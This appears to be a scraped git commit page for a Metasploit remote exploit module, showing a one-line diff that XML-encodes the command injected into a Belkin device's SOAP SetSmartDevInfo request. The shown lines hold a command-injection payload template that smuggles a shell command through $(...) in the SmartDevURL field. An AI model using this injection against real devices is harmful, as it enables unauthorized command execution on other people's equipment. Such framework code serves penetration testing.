Properly encode command input with XML entities
REXML would make this less ghetto.master
parent
de6397445c
commit
e164c2350c
|
@ -160,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<s:Body>
|
||||
<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
|
||||
<SmartDevURL>$(#{cmd})</SmartDevURL>
|
||||
<SmartDevURL>$(#{cmd.encode(xml: :text)})</SmartDevURL>
|
||||
</u:SetSmartDevInfo>
|
||||
</s:Body>
|
||||
</s:Envelope>
|
||||
|
|
Loading…
Reference in New Issue